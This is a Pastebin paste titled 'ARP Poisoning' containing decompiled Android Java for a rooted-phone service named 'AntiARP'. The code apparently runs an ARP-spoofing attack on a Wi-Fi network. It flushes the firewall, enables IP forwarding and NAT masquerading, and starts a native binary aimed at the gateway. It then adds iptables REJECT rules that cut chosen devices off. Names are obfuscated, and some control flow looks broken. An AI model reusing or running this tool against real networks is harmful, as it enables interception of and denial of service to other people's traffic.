Advertisement
maujogador

ARP Poisoning

Jan 14th, 2018
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 8.50 KB | None | 0 0
  1. package me.mau.antiarp.service;
  2.  
  3. import android.app.Activity;
  4. import android.app.Notification;
  5. import android.app.NotificationManager;
  6. import android.app.PendingIntent;
  7. import android.app.Service;
  8. import android.content.Intent;
  9. import android.net.wifi.WifiManager;
  10. import android.os.IBinder;
  11. import android.os.Message;
  12. import android.os.Messenger;
  13. import android.os.RemoteException;
  14. import android.text.format.Formatter;
  15. import java.io.BufferedReader;
  16. import java.io.File;
  17. import java.io.FileNotFoundException;
  18. import java.io.FileReader;
  19. import java.io.IOException;
  20. import java.util.ArrayList;
  21. import java.util.Iterator;
  22. import java.util.concurrent.TimeoutException;
  23. import me.mau.jniexec.JNIExec;
  24. import me.mau.p004a.C0092c;
  25. import me.mau.antiarp.R;
  26. import me.mau.antiarp.AntiARP;
  27.  
  28. public class WFKService extends Service {
  29.     public ArrayList f499a = new ArrayList();
  30.     public boolean f500b = false;
  31.     final Messenger f501c = new Messenger(new C0122g(this));
  32.     private NotificationManager f502d;
  33.     private int f503e = 31337;
  34.     private ArrayList f504f = new ArrayList();
  35.     private Activity f505g = null;
  36.     private JNIExec f506h = null;
  37.     private JNIExec f507i = null;
  38.     private int f508j = -1;
  39.     private C0124i f509k = null;
  40.  
  41.     private void m450a(int i, Object obj) {
  42.         for (int size = this.f504f.size() - 1; size >= 0; size--) {
  43.             try {
  44.                 ((Messenger) this.f504f.get(size)).send(Message.obtain(null, i, obj));
  45.             } catch (RemoteException e) {
  46.                 this.f504f.remove(size);
  47.             }
  48.         }
  49.     }
  50.  
  51.     private void m451a(String str) {
  52.         C0092c.m370a("error=" + str);
  53.         if (this.f509k != null) {
  54.             this.f509k.f533a = true;
  55.             this.f509k.interrupt();
  56.             try {
  57.                 this.f509k.join();
  58.             } catch (InterruptedException e) {
  59.                 e.printStackTrace();
  60.             }
  61.         }
  62.         JNIExec.m371a("iptables -D FORWARD -j ACCEPT && iptables -t nat -D POSTROUTING -j MASQUERADE");
  63.         this.f499a.clear();
  64.         m450a(4, (Object) str);
  65.         stopSelf();
  66.     }
  67.  
  68.     static void m453a(WFKService wFKService, Runnable runnable) {
  69.         if (wFKService.f505g == null) {
  70.             runnable.run();
  71.         } else {
  72.             wFKService.f505g.runOnUiThread(runnable);
  73.         }
  74.     }
  75.  
  76.     static void m455a(WFKService wFKService, C0116a c0116a) {
  77.         C0092c.m370a("---");
  78.         wFKService.m457a(c0116a);
  79.         wFKService.f506h.m378b("1" + c0116a.f510a + "\n");
  80.         c0116a.f514e |= 1;
  81.         wFKService.m450a(107, (Object) c0116a);
  82.     }
  83.  
  84.     static void m456a(WFKService wFKService, boolean z) {
  85.         C0092c.m370a("---");
  86.         wFKService.f506h.m378b(z ? "r\n" : "R\n");
  87.     }
  88.  
  89.     private void m457a(C0116a c0116a) {
  90.         this.f507i.m378b("iptables -D FORWARD -s " + c0116a.f510a + " -p tcp -j REJECT --reject-with tcp-reset\n");
  91.         this.f507i.m378b("iptables -D FORWARD -s " + c0116a.f510a + " -p udp -j REJECT --reject-with icmp-port-unreachable\n");
  92.     }
  93.  
  94.     private String m458b(String str) {
  95.         String str2 = null;
  96.         File file = new File(getApplicationContext().getFilesDir().getPath() + "/devices/" + str);
  97.         if (file.exists()) {
  98.             try {
  99.                 BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
  100.                 str2 = bufferedReader.readLine();
  101.                 bufferedReader.close();
  102.             } catch (FileNotFoundException e) {
  103.                 e.printStackTrace();
  104.             } catch (IOException e2) {
  105.                 e2.printStackTrace();
  106.             }
  107.         }
  108.         return str2;
  109.     }
  110.  
  111.     static C0116a m459b(WFKService wFKService, String str) {
  112.         Iterator it = wFKService.f499a.iterator();
  113.         while (it.hasNext()) {
  114.             C0116a c0116a = (C0116a) it.next();
  115.             if (c0116a.f510a.equals(str)) {
  116.                 return c0116a;
  117.             }
  118.         }
  119.         return null;
  120.     }
  121.  
  122.     static void m460b(WFKService wFKService) {
  123.         Notification notification = new Notification(R.drawable.icon, "AntiARP", System.currentTimeMillis());
  124.         notification.setLatestEventInfo(wFKService, "AntiARP", "is running", PendingIntent.getActivity(wFKService, 0, new Intent(wFKService, AntiARP.class), 0));
  125.         notification.flags |= 2;
  126.         wFKService.startForeground(wFKService.f503e, notification);
  127.     }
  128.  
  129.     static void m461b(WFKService wFKService, C0116a c0116a) {
  130.         C0092c.m370a("---");
  131.         wFKService.f506h.m378b("0" + c0116a.f510a + "\n");
  132.         wFKService.m457a(c0116a);
  133.         c0116a.f514e = 0;
  134.         wFKService.m450a(107, (Object) c0116a);
  135.     }
  136.  
  137.     static void m463c(WFKService wFKService) {
  138.         String str = wFKService.getApplicationContext().getFilesDir().getPath() + "/wfk";
  139.         C0092c.m370a("begin");
  140.         if (wFKService.f509k == null) {
  141.             if (!new File(str).exists()) {
  142.                 wFKService.m451a("Binary file not present!");
  143.             }
  144.             JNIExec.m371a("chmod 777 " + str);
  145.             JNIExec.m371a("iptables -F; iptables -X && iptables -t nat -F; iptables -t nat -Xiptables -P FORWARD ACCEPT && iptables -I FORWARD -j ACCEPT && iptables -t nat -I POSTROUTING -j MASQUERADE &&echo 1 > /proc/sys/net/ipv4/ip_forward");
  146.             wFKService.f506h = new JNIExec(new C0120e(wFKService));
  147.             wFKService.f507i = new JNIExec(new C0121f(wFKService));
  148.             wFKService.f506h.m379c(str + " -g " + Formatter.formatIpAddress(((WifiManager) wFKService.getApplicationContext().getSystemService("wifi")).getDhcpInfo().gateway) + " " + C0092c.m366a(wFKService.getApplicationContext()));
  149.             String str2 = null;
  150.             while (true) {
  151.                 try {
  152.                     str = wFKService.f506h.m376a(0);
  153.                 } catch (TimeoutException e) {
  154.                     e.printStackTrace();
  155.                     str = str2;
  156.                 }
  157.                 if (str == null || !str.startsWith("ERROR")) {
  158.                     C0092c.m370a("read: " + str);
  159.                     if (str != null && !str.contains("PID")) {
  160.                         str2 = str;
  161.                     } else if (str != null) {
  162.                         wFKService.m451a("Unable to start service, do you have root?");
  163.                     } else {
  164.                         wFKService.f508j = Integer.parseInt(str.split("PID ")[1]);
  165.                         wFKService.f509k = new C0124i(wFKService);
  166.                         wFKService.f509k.start();
  167.                         return;
  168.                     }
  169.                 }
  170.                 wFKService.m451a(str.substring(8));
  171.                 return;
  172.             }
  173.             if (str != null) {
  174.                 wFKService.f508j = Integer.parseInt(str.split("PID ")[1]);
  175.                 wFKService.f509k = new C0124i(wFKService);
  176.                 wFKService.f509k.start();
  177.                 return;
  178.             }
  179.             wFKService.m451a("Unable to start service, do you have root?");
  180.         }
  181.     }
  182.  
  183.     static void m464c(WFKService wFKService, C0116a c0116a) {
  184.         C0092c.m370a("---");
  185.         wFKService.f507i.m378b("iptables -I FORWARD -s " + c0116a.f510a + " -p tcp -j REJECT --reject-with tcp-reset\n");
  186.         wFKService.f507i.m378b("iptables -I FORWARD -s " + c0116a.f510a + " -p udp -j REJECT --reject-with icmp-port-unreachable\n");
  187.         c0116a.f514e |= 2;
  188.         wFKService.m450a(107, (Object) c0116a);
  189.     }
  190.  
  191.     static void m466d(WFKService wFKService, C0116a c0116a) {
  192.         C0092c.m370a("---");
  193.         int i = 3;
  194.         while (true) {
  195.             int i2 = i - 1;
  196.             if (i > 0) {
  197.                 wFKService.m457a(c0116a);
  198.                 i = i2;
  199.             } else {
  200.                 c0116a.f514e &= -3;
  201.                 wFKService.m450a(107, (Object) c0116a);
  202.                 return;
  203.             }
  204.         }
  205.     }
  206.  
  207.     public IBinder onBind(Intent intent) {
  208.         C0092c.m370a("---");
  209.         return this.f501c.getBinder();
  210.     }
  211.  
  212.     public void onCreate() {
  213.         this.f502d = (NotificationManager) getSystemService("notification");
  214.     }
  215.  
  216.     public void onDestroy() {
  217.         C0092c.m370a("---");
  218.         stopForeground(true);
  219.         this.f502d.cancel(this.f503e);
  220.         C0092c.m367a(this, "AntiARP service stopped");
  221.     }
  222.  
  223.     public int onStartCommand(Intent intent, int i, int i2) {
  224.         return 2;
  225.     }
  226.  
  227.     public boolean onUnbind(Intent intent) {
  228.         C0092c.m370a("---");
  229.         this.f505g = null;
  230.         return true;
  231.     }
  232. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement